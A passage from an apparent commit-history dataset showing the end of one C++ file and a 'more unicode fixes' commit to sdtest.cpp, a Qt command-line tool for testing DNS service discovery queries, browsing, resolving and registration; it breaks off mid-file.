extract_interfaces(ib.implementation_type());\n\tif (std::find(std::begin(interfaces), std::end(interfaces), ib.interface_type()) == std::end(interfaces))\n\t\tthrow invalid_implemented_by_exception{};\n}\n\nbool operator == (const implemented_by &x, const implemented_by &y)\n{\n\tif (x.interface_type() != y.interface_type())\n\t\treturn false;\n\n\tif (x.implementation_type() != y.implementation_type())\n\t\treturn false;\n\n\treturn true;\n}\n\nbool operator != (const implemented_by &x, const implemented_by &y)\n{\n\treturn !(x == y);\n}\n\n}}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2007 Justin Karneges\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\n *\/\n\n#include <QtCore>\n#include <QHostAddress>\n#include \"qdnssd.h\"\n\n\/\/ for ntohl\n#ifdef Q_OS_WIN\n# include <windows.h>\n#else\n# include <netinet\/in.h>\n#endif\n\nclass Command\n{\npublic:\n\tenum Type\n\t{\n\t\tQuery,\n\t\tBrowse,\n\t\tResolve,\n\t\tReg\n\t};\n\n\tType type;\n\n\tQString name; \/\/ query, resolve, reg\n\tint rtype; \/\/ query\n\tQString stype; \/\/ browse, resolve, reg\n\tQString domain; \/\/ browse, resolve, reg\n\tint port; \/\/ reg\n\tQByteArray txtRecord; \/\/ reg\n\n\tint id;\n\tint dnsId;\n\tbool error;\n\tbool done; \/\/ for resolve\n\n\tCommand() :\n\t\terror(false),\n\t\tdone(false)\n\t{\n\t}\n};\n\nstatic QString nameToString(const QByteArray &in)\n{\n\tQStringList parts;\n\tint at = 0;\n\twhile(at < in.size())\n\t{\n\t\tint len = in[at++];\n\t\tparts += QString::fromUtf8(in.mid(at, len));\n\t\tat += len;\n\t}\n\treturn parts.join(\".\");\n}\n\nstatic QString recordToDesc(const QDnsSd::Record &rec)\n{\n\tQString desc;\n\n\tif(rec.rrtype == 1) \/\/ A\n\t{\n\t\tquint32 *p = (quint32 *)rec.rdata.data();\n\t\tdesc = QHostAddress(ntohl(*p)).toString();\n\t}\n\telse if(rec.rrtype == 28) \/\/ AAAA\n\t{\n\t\tdesc = QHostAddress((quint8 *)rec.rdata.data()).toString();\n\t}\n\telse if(rec.rrtype == 12) \/\/ PTR\n\t{\n\t\tdesc = QString(\"[%1]\").arg(nameToString(rec.rdata));\n\t}\n\telse\n\t\tdesc = QString(\"%1 bytes\").arg(rec.rdata.size());\n\n\treturn desc;\n}\n\nstatic QStringList txtRecordToStringList(const QByteArray &rdata)\n{\n\tQList<QByteArray> txtEntries = QDnsSd::parseTxtRecord(rdata);\n\tif(txtEntries.isEmpty())\n\t\treturn QStringList();\n\n\tQStringList out;\n\tforeach(const QByteArray &entry, txtEntries)\n\t\tout += QString::fromUtf8(entry);\n\treturn out;\n}\n\nstatic void printIndentedTxt(const QByteArray &txtRecord)\n{\n\tQStringList list = txtRecordToStringList(txtRecord);\n\tif(!list.isEmpty())\n\t{\n\t\tforeach(const QString &s, list)\n\t\t\tprintf(\" %s\\n\", qPrintable(s));\n\t}\n\telse\n\t\tprintf(\" (TXT parsing error)\\n\");\n}\n\nclass App : public QObject\n{\n\tQ_OBJECT\npublic:\n\tQList<Command> commands;\n\tQDnsSd *dns;\n\n\tApp()\n\t{\n\t\tdns = new QDnsSd(this);\n\t\tconnect(dns, SIGNAL(queryResult(int, const QDnsSd::QueryResult &)), SLOT(dns_queryResult(int, const QDnsSd::QueryResult &)));\n\t\tconnect(dns, SIGNAL(browseResult(int, const QDnsSd::BrowseResult &)), SLOT(dns_browseResult(int, const QDnsSd::BrowseResult &)));\n\t\tconnect(dns, SIGNAL(resolveResult(int, const QDnsSd::ResolveResult &)), SLOT(dns_resolveResult(int, const QDnsSd::ResolveResult &)));\n\t\tconnect(dns, SIGNAL(regResult(int, const QDnsSd::RegResult &)), SLOT(dns_regResult(int, const QDnsSd::RegResult &)));\n\t}\n\npublic slots:\n\tvoid start()\n\t{\n\t\tfor(int n = 0; n < commands.count(); ++n)\n\t\t{\n\t\t\tCommand &c = commands[n];\n\n\t\t\tc.id = n;\n\t\t\tif(c.type == Command::Query)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Query name=[%s], type=%d ...\\n\", c.id, qPrintable(c.name), c.rtype);\n\t\t\t\tc.dnsId = dns->query(c.name.toUtf8(), c.rtype);\n\t\t\t}\n\t\t\telse if(c.type == Command::Browse)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Browse type=[%s]\", c.id, qPrintable(c.stype));\n\t\t\t\tif(!c.domain.isEmpty())\n\t\t\t\t\tprintf(\", domain=[%s]\", qPrintable(c.domain));\n\t\t\t\tprintf(\" ...\\n\");\n\t\t\t\tc.dnsId = dns->browse(c.stype.toUtf8(), c.domain.toUtf8());\n\t\t\t}\n\t\t\telse if(c.type == Command::Resolve)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Resolve name=[%s], type=[%s], domain=[%s] ...\\n\", c.id, qPrintable(c.name), qPrintable(c.stype), qPrintable(c.domain));\n\t\t\t\tc.dnsId = dns->resolve(c.name.toUtf8(), c.stype.toUtf8(), c.domain.toUtf8());\n\t\t\t}\n\t\t\telse if(c.type == Command::Reg)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Register name=[%s], type=[%s]\", c.id, qPrintable(c.name), qPrintable(c.stype));\n\t\t\t\tif(!c.domain.isEmpty())\n\t\t\t\t\tprintf(\", domain=[%s]\", qPrintable(c.domain));\n\t\t\t\tprintf(\", port=%d ...\\n\", c.port);\n\t\t\t\tif(!c.txtRecord.isEmpty())\n\t\t\t\t\tprintIndentedTxt(c.txtRecord);\n\n\t\t\t\tc.dnsId = dns->reg(c.name.toUtf8(), c.stype.toUtf8(), c.domain.toUtf8(), c.port, c.txtRecord);\n\t\t\t}\n\t\t}\n\t}\n\nsignals:\n\tvoid quit();\n\nprivate:\n\tint cmdIdToCmdIndex(int cmdId)\n\t{\n\t\tfor(int n = 0; n < commands.count(); ++n)\n\t\t{\n\t\t\tconst Command &c = commands[n];\n\t\t\tif(c.id == cmdId)\n\t\t\t\treturn n;\n\t\t}\n\t\treturn -1;\n\t}\n\n\tint dnsIdToCmdIndex(int dnsId)\n\t{\n\t\tfor(int n = 0; n < commands.count(); ++n)\n\t\t{\n\t\t\tconst Command &c = commands[n];\n\t\t\tif(c.dnsId == dnsId)\n\t\t\t\treturn n;\n\t\t}\n\t\treturn -1;\n\t}\n\n\tvoid tryQuit()\n\t{\n\t\t\/\/ quit if there are nothing but errors or completed resolves\n\t\tbool doQuit = true;\n\t\tforeach(const Command &c, commands)\n\t\t{\n\t\t\tif(c.error || (c.type == Command::Resolve && c.done))\n\t\t\t\tcontinue;\n\n\t\t\tdoQuit = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tif(doQuit)\n\t\t\temit quit();\n\t}\n\nprivate slots:\n\tvoid dns_queryResult(int id, const QDnsSd::QueryResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tprintf(\"%2d: Error.\", c.id);\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tforeach(const QDnsSd::Record &rec, result.records)\n\t\t{\n\t\t\tif(rec.added)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Added: %s, ttl=%d\\n\", c.id, qPrintable(recordToDesc(rec)), rec.ttl);\n\t\t\t\tif(rec.rrtype == 16)\n\t\t\t\t\tprintIndentedTxt(rec.rdata);\n\t\t\t}\n\t\t\telse\n\t\t\t\tprintf(\"%2d: Removed: %s, ttl=%d\\n\", c.id, qPrintable(recordToDesc(rec)), rec.ttl);\n\t\t}\n\t}\n\n\tvoid dns_browseResult(int id, const QDnsSd::BrowseResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tprintf(\"%2d: Error.\", c.id);\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tforeach(const QDnsSd::BrowseEntry &e, result.entries)\n\t\t{\n\t\t\tif(e.added)\n\t\t\t\tprintf(\"%2d: Added: [%s] [%s] [%s]\\n\", c.id, e.serviceName.data(), e.serviceType.data(), e.replyDomain.data());\n\t\t\telse\n\t\t\t\tprintf(\"%2d: Removed: [%s]\\n\", c.id, e.serviceName.data());\n\t\t}\n\t}\n\n\tvoid dns_resolveResult(int id, const QDnsSd::ResolveResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tprintf(\"%2d: Error.\", c.id);\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tprintf(\"%2d: Result: host=[%s] port=%d\\n\", c.id, result.hostTarget.data(), result.port);\n\t\tif(!result.txtRecord.isEmpty())\n\t\t\tprintIndentedTxt(result.txtRecord);\n\n\t\tc.done = true;\n\t\ttryQuit();\n\t}\n\n\tvoid dns_regResult(int id, const QDnsSd::RegResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tQString errstr;\n\t\t\tif(result.errorCode == QDnsSd::RegResult::ErrorConflict)\n\t\t\t\terrstr = \"Conflict\";\n\t\t\telse\n\t\t\t\terrstr = \"Generic\";\n\t\t\tprintf(\"%2d: Error (%s).\", c.id, qPrintable(errstr));\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tprintf(\"%2d: Registered: domain=[%s]\\n\", c.id, result.domain.data());\n\t}\n};\n\n#include \"sdtest.moc\"\n\nvoid usage()\n{\n\tprintf(\"usage: sdtest [[command] (command) ...]\\n\");\n\tprintf(\" options: --txt=str0,...,strn\\n\");\n\tprintf(\"\\n\");\n\tprintf(\" q=name,type# query for a record\\n\");\n\tprintf(\" b=type(,domain) browse for services\\n\");\n\tprintf(\" r=name,type,domain resolve a service\\n\");\n\tprintf(\" e=name,type,port(,domain) register a service\\n\");\n\tprintf(\"\\n\");\n}\n\nint main(int argc, char **argv)\n{\n\tQCoreApplication qapp(argc, argv);\n\n\tQStringList args = qapp.arguments();\n\targs.removeFirst();\n\n\tif(args.count() < 1)\n\t{\n\t\tusage();\n\t\treturn 1;\n\t}\n\n\t\/\/ options\n\tQStringList txt;\n\n\tfor(int n = 0; n < args.count(); ++n)\n\t{\n\t\tQString s = args[n];\n\t\tif(!s.startsWith(\"--\"))\n\t\t\tcontinue;\n\t\tQString var;\n\t\tQString val;\n\t\tint x = s.indexOf('=');\n\t\tif(x != -1)\n\t\t{\n\t\t\tvar = s.mid(2, x - 2);\n\t\t\tval = s.mid(x + 1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tvar = s.mid(2);\n\t\t}\n\n\t\tbool known = true;\n\n\t\tif(var == \"txt\")\n\t\t{\n\t\t\ttxt = val.split(',');\n\t\t}\n\t\telse\n\t\t\tknown = false;\n\n\t\tif(known)\n\t\t{\n\t\t\targs.removeAt(n);\n\t\t\t--n; \/\/ adjust position\n\t\t}\n\t}\n\n\t\/\/ commands\n\tQList<Command> commands;\n\n\tfor(int n = 0; n < args.count(); ++n)\n\t{\n\t\tQString str = args[n];\n\t\tint n = str.indexOf('=');\n\t\tif(n == -1)\n\t\t{\n\t\t\tprintf(\"Error: bad format of command.\\n\");\n\t\t\treturn 1;\n\t\t}\n\n\t\tQString type = str.mid(0, n);\n\t\tQString rest = str.mid(n + 1);\n\t\tQStringList parts = rest.split(',');\n\n\t\tif(type == \"q\")\n\t\t{\n\t\t\tif(parts.count() < 2)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Query;\n\t\t\tc.name = parts[0];\n\t\t\tc.rtype = parts[1].toInt();\n\t\t\tcommands += c;\n\t\t}\n\t\telse if(type == \"b\")\n\t\t{\n\t\t\tif(parts.count() < 1)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Browse;\n\t\t\tc.stype = parts[0];\n\t\t\tif(parts.count() >= 2)\n\t\t\t\tc.domain = parts[1];\n\t\t\tcommands += c;\n\t\t}\n\t\telse if(type == \"r\")\n\t\t{\n\t\t\tif(parts.count() < 3)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Resolve;\n\t\t\tc.name = parts[0];\n\t\t\tc.stype = parts[1];\n\t\t\tc.domain = parts[2];\n\t\t\tcommands += c;\n\t\t}\n\t\telse if(type == \"e\")\n\t\t{\n\t\t\tif(parts.count() < 3)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Reg;\n\t\t\tc.name = parts[0];\n\t\t\tc.stype = parts[1];\n\t\t\tc.port = parts[2].toInt();\n\t\t\tif(parts.count() >= 4)\n\t\t\t\tc.domain = parts[3];\n\n\t\t\tif(!txt.isEmpty())\n\t\t\t{\n\t\t\t\tQList<QByteArray> strings;\n\t\t\t\tforeach(const QString &str, txt)\n\t\t\t\t\tstrings += str.toUtf8();\n\n\t\t\t\tQByteArray txtRecord = QDnsSd::createTxtRecord(strings);\n\t\t\t\tif(txtRecord.isEmpty())\n\t\t\t\t{\n\t\t\t\t\tprintf(\"Error: failed to create TXT record, input too large or invalid\\n\");\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\n\t\t\t\tc.txtRecord = txtRecord;\n\t\t\t}\n\n\t\t\tcommands += c;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"Error: unknown command type '%s'.\\n\", qPrintable(type));\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\tApp app;\n\tapp.commands = commands;\n\tQObject::connect(&app, SIGNAL(quit()), &qapp, SLOT(quit()));\n\tQTimer::singleShot(0, &app, SLOT(start()));\n\tqapp.exec();\n\treturn 0;\n}\n<commit_msg>more unicode fixes<commit_after>\/*\n * Copyright (C) 2007 Justin Karneges\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n * 02110-1301 USA\n *\n *\/\n\n#include <QtCore>\n#include <QHostAddress>\n#include \"qdnssd.h\"\n\n\/\/ for ntohl\n#ifdef Q_OS_WIN\n# include <windows.h>\n#else\n# include <netinet\/in.h>\n#endif\n\nclass Command\n{\npublic:\n\tenum Type\n\t{\n\t\tQuery,\n\t\tBrowse,\n\t\tResolve,\n\t\tReg\n\t};\n\n\tType type;\n\n\tQString name; \/\/ query, resolve, reg\n\tint rtype; \/\/ query\n\tQString stype; \/\/ browse, resolve, reg\n\tQString domain; \/\/ browse, resolve, reg\n\tint port; \/\/ reg\n\tQByteArray txtRecord; \/\/ reg\n\n\tint id;\n\tint dnsId;\n\tbool error;\n\tbool done; \/\/ for resolve\n\n\tCommand() :\n\t\terror(false),\n\t\tdone(false)\n\t{\n\t}\n};\n\nstatic QString nameToString(const QByteArray &in)\n{\n\tQStringList parts;\n\tint at = 0;\n\twhile(at < in.size())\n\t{\n\t\tint len = in[at++];\n\t\tparts += QString::fromUtf8(in.mid(at, len));\n\t\tat += len;\n\t}\n\treturn parts.join(\".\");\n}\n\nstatic QString recordToDesc(const QDnsSd::Record &rec)\n{\n\tQString desc;\n\n\tif(rec.rrtype == 1) \/\/ A\n\t{\n\t\tquint32 *p = (quint32 *)rec.rdata.data();\n\t\tdesc = QHostAddress(ntohl(*p)).toString();\n\t}\n\telse if(rec.rrtype == 28) \/\/ AAAA\n\t{\n\t\tdesc = QHostAddress((quint8 *)rec.rdata.data()).toString();\n\t}\n\telse if(rec.rrtype == 12) \/\/ PTR\n\t{\n\t\tdesc = QString(\"[%1]\").arg(nameToString(rec.rdata));\n\t}\n\telse\n\t\tdesc = QString(\"%1 bytes\").arg(rec.rdata.size());\n\n\treturn desc;\n}\n\nstatic QStringList txtRecordToStringList(const QByteArray &rdata)\n{\n\tQList<QByteArray> txtEntries = QDnsSd::parseTxtRecord(rdata);\n\tif(txtEntries.isEmpty())\n\t\treturn QStringList();\n\n\tQStringList out;\n\tforeach(const QByteArray &entry, txtEntries)\n\t\tout += QString::fromUtf8(entry);\n\treturn out;\n}\n\nstatic void printIndentedTxt(const QByteArray &txtRecord)\n{\n\tQStringList list = txtRecordToStringList(txtRecord);\n\tif(!list.isEmpty())\n\t{\n\t\tforeach(const QString &s, list)\n\t\t\tprintf(\" %s\\n\", qPrintable(s));\n\t}\n\telse\n\t\tprintf(\" (TXT parsing error)\\n\");\n}\n\nclass App : public QObject\n{\n\tQ_OBJECT\npublic:\n\tQList<Command> commands;\n\tQDnsSd *dns;\n\n\tApp()\n\t{\n\t\tdns = new QDnsSd(this);\n\t\tconnect(dns, SIGNAL(queryResult(int, const QDnsSd::QueryResult &)), SLOT(dns_queryResult(int, const QDnsSd::QueryResult &)));\n\t\tconnect(dns, SIGNAL(browseResult(int, const QDnsSd::BrowseResult &)), SLOT(dns_browseResult(int, const QDnsSd::BrowseResult &)));\n\t\tconnect(dns, SIGNAL(resolveResult(int, const QDnsSd::ResolveResult &)), SLOT(dns_resolveResult(int, const QDnsSd::ResolveResult &)));\n\t\tconnect(dns, SIGNAL(regResult(int, const QDnsSd::RegResult &)), SLOT(dns_regResult(int, const QDnsSd::RegResult &)));\n\t}\n\npublic slots:\n\tvoid start()\n\t{\n\t\tfor(int n = 0; n < commands.count(); ++n)\n\t\t{\n\t\t\tCommand &c = commands[n];\n\n\t\t\tc.id = n;\n\t\t\tif(c.type == Command::Query)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Query name=[%s], type=%d ...\\n\", c.id, qPrintable(c.name), c.rtype);\n\t\t\t\tc.dnsId = dns->query(c.name.toUtf8(), c.rtype);\n\t\t\t}\n\t\t\telse if(c.type == Command::Browse)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Browse type=[%s]\", c.id, qPrintable(c.stype));\n\t\t\t\tif(!c.domain.isEmpty())\n\t\t\t\t\tprintf(\", domain=[%s]\", qPrintable(c.domain));\n\t\t\t\tprintf(\" ...\\n\");\n\t\t\t\tc.dnsId = dns->browse(c.stype.toUtf8(), c.domain.toUtf8());\n\t\t\t}\n\t\t\telse if(c.type == Command::Resolve)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Resolve name=[%s], type=[%s], domain=[%s] ...\\n\", c.id, qPrintable(c.name), qPrintable(c.stype), qPrintable(c.domain));\n\t\t\t\tc.dnsId = dns->resolve(c.name.toUtf8(), c.stype.toUtf8(), c.domain.toUtf8());\n\t\t\t}\n\t\t\telse if(c.type == Command::Reg)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Register name=[%s], type=[%s]\", c.id, qPrintable(c.name), qPrintable(c.stype));\n\t\t\t\tif(!c.domain.isEmpty())\n\t\t\t\t\tprintf(\", domain=[%s]\", qPrintable(c.domain));\n\t\t\t\tprintf(\", port=%d ...\\n\", c.port);\n\t\t\t\tif(!c.txtRecord.isEmpty())\n\t\t\t\t\tprintIndentedTxt(c.txtRecord);\n\n\t\t\t\tc.dnsId = dns->reg(c.name.toUtf8(), c.stype.toUtf8(), c.domain.toUtf8(), c.port, c.txtRecord);\n\t\t\t}\n\t\t}\n\t}\n\nsignals:\n\tvoid quit();\n\nprivate:\n\tint cmdIdToCmdIndex(int cmdId)\n\t{\n\t\tfor(int n = 0; n < commands.count(); ++n)\n\t\t{\n\t\t\tconst Command &c = commands[n];\n\t\t\tif(c.id == cmdId)\n\t\t\t\treturn n;\n\t\t}\n\t\treturn -1;\n\t}\n\n\tint dnsIdToCmdIndex(int dnsId)\n\t{\n\t\tfor(int n = 0; n < commands.count(); ++n)\n\t\t{\n\t\t\tconst Command &c = commands[n];\n\t\t\tif(c.dnsId == dnsId)\n\t\t\t\treturn n;\n\t\t}\n\t\treturn -1;\n\t}\n\n\tvoid tryQuit()\n\t{\n\t\t\/\/ quit if there are nothing but errors or completed resolves\n\t\tbool doQuit = true;\n\t\tforeach(const Command &c, commands)\n\t\t{\n\t\t\tif(c.error || (c.type == Command::Resolve && c.done))\n\t\t\t\tcontinue;\n\n\t\t\tdoQuit = false;\n\t\t\tbreak;\n\t\t}\n\n\t\tif(doQuit)\n\t\t\temit quit();\n\t}\n\nprivate slots:\n\tvoid dns_queryResult(int id, const QDnsSd::QueryResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tprintf(\"%2d: Error.\", c.id);\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tforeach(const QDnsSd::Record &rec, result.records)\n\t\t{\n\t\t\tif(rec.added)\n\t\t\t{\n\t\t\t\tprintf(\"%2d: Added: %s, ttl=%d\\n\", c.id, qPrintable(recordToDesc(rec)), rec.ttl);\n\t\t\t\tif(rec.rrtype == 16)\n\t\t\t\t\tprintIndentedTxt(rec.rdata);\n\t\t\t}\n\t\t\telse\n\t\t\t\tprintf(\"%2d: Removed: %s, ttl=%d\\n\", c.id, qPrintable(recordToDesc(rec)), rec.ttl);\n\t\t}\n\t}\n\n\tvoid dns_browseResult(int id, const QDnsSd::BrowseResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tprintf(\"%2d: Error.\", c.id);\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tforeach(const QDnsSd::BrowseEntry &e, result.entries)\n\t\t{\n\t\t\tif(e.added)\n\t\t\t\tprintf(\"%2d: Added: [%s] [%s] [%s]\\n\", c.id, qPrintable(QString::fromUtf8(e.serviceName)), qPrintable(QString::fromUtf8(e.serviceType)), qPrintable(QString::fromUtf8(e.replyDomain)));\n\t\t\telse\n\t\t\t\tprintf(\"%2d: Removed: [%s]\\n\", c.id, qPrintable(QString::fromUtf8(e.serviceName)));\n\t\t}\n\t}\n\n\tvoid dns_resolveResult(int id, const QDnsSd::ResolveResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tprintf(\"%2d: Error.\", c.id);\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tprintf(\"%2d: Result: host=[%s] port=%d\\n\", c.id, qPrintable(QString::fromUtf8(result.hostTarget)), result.port);\n\t\tif(!result.txtRecord.isEmpty())\n\t\t\tprintIndentedTxt(result.txtRecord);\n\n\t\tc.done = true;\n\t\ttryQuit();\n\t}\n\n\tvoid dns_regResult(int id, const QDnsSd::RegResult &result)\n\t{\n\t\tint at = dnsIdToCmdIndex(id);\n\t\tCommand &c = commands[at];\n\n\t\tif(!result.success)\n\t\t{\n\t\t\tQString errstr;\n\t\t\tif(result.errorCode == QDnsSd::RegResult::ErrorConflict)\n\t\t\t\terrstr = \"Conflict\";\n\t\t\telse\n\t\t\t\terrstr = \"Generic\";\n\t\t\tprintf(\"%2d: Error (%s).\", c.id, qPrintable(errstr));\n\t\t\tif(!result.lowLevelError.func.isEmpty())\n\t\t\t\tprintf(\" (%s, %d)\", qPrintable(result.lowLevelError.func), result.lowLevelError.code);\n\t\t\tprintf(\"\\n\");\n\t\t\tc.error = true;\n\t\t\ttryQuit();\n\t\t\treturn;\n\t\t}\n\n\t\tprintf(\"%2d: Registered: domain=[%s]\\n\", c.id, qPrintable(QString::fromUtf8(result.domain)));\n\t}\n};\n\n#include \"sdtest.moc\"\n\nvoid usage()\n{\n\tprintf(\"usage: sdtest [[command] (command) ...]\\n\");\n\tprintf(\" options: --txt=str0,...,strn\\n\");\n\tprintf(\"\\n\");\n\tprintf(\" q=name,type# query for a record\\n\");\n\tprintf(\" b=type(,domain) browse for services\\n\");\n\tprintf(\" r=name,type,domain resolve a service\\n\");\n\tprintf(\" e=name,type,port(,domain) register a service\\n\");\n\tprintf(\"\\n\");\n}\n\nint main(int argc, char **argv)\n{\n\tQCoreApplication qapp(argc, argv);\n\n\tQStringList args = qapp.arguments();\n\targs.removeFirst();\n\n\tif(args.count() < 1)\n\t{\n\t\tusage();\n\t\treturn 1;\n\t}\n\n\t\/\/ options\n\tQStringList txt;\n\n\tfor(int n = 0; n < args.count(); ++n)\n\t{\n\t\tQString s = args[n];\n\t\tif(!s.startsWith(\"--\"))\n\t\t\tcontinue;\n\t\tQString var;\n\t\tQString val;\n\t\tint x = s.indexOf('=');\n\t\tif(x != -1)\n\t\t{\n\t\t\tvar = s.mid(2, x - 2);\n\t\t\tval = s.mid(x + 1);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tvar = s.mid(2);\n\t\t}\n\n\t\tbool known = true;\n\n\t\tif(var == \"txt\")\n\t\t{\n\t\t\ttxt = val.split(',');\n\t\t}\n\t\telse\n\t\t\tknown = false;\n\n\t\tif(known)\n\t\t{\n\t\t\targs.removeAt(n);\n\t\t\t--n; \/\/ adjust position\n\t\t}\n\t}\n\n\t\/\/ commands\n\tQList<Command> commands;\n\n\tfor(int n = 0; n < args.count(); ++n)\n\t{\n\t\tQString str = args[n];\n\t\tint n = str.indexOf('=');\n\t\tif(n == -1)\n\t\t{\n\t\t\tprintf(\"Error: bad format of command.\\n\");\n\t\t\treturn 1;\n\t\t}\n\n\t\tQString type = str.mid(0, n);\n\t\tQString rest = str.mid(n + 1);\n\t\tQStringList parts = rest.split(',');\n\n\t\tif(type == \"q\")\n\t\t{\n\t\t\tif(parts.count() < 2)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Query;\n\t\t\tc.name = parts[0];\n\t\t\tc.rtype = parts[1].toInt();\n\t\t\tcommands += c;\n\t\t}\n\t\telse if(type == \"b\")\n\t\t{\n\t\t\tif(parts.count() < 1)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Browse;\n\t\t\tc.stype = parts[0];\n\t\t\tif(parts.count() >= 2)\n\t\t\t\tc.domain = parts[1];\n\t\t\tcommands += c;\n\t\t}\n\t\telse if(type == \"r\")\n\t\t{\n\t\t\tif(parts.count() < 3)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Resolve;\n\t\t\tc.name = parts[0];\n\t\t\tc.stype = parts[1];\n\t\t\tc.domain = parts[2];\n\t\t\tcommands += c;\n\t\t}\n\t\telse if(type == \"e\")\n\t\t{\n\t\t\tif(parts.count() < 3)\n\t\t\t{\n\t\t\t\tusage();\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tCommand c;\n\t\t\tc.type = Command::Reg;\n\t\t\tc.name = parts[0];\n\t\t\tc.stype = parts[1];\n\t\t\tc.port = parts[2].toInt();\n\t\t\tif(parts.count() >= 4)\n\t\t\t\tc.domain = 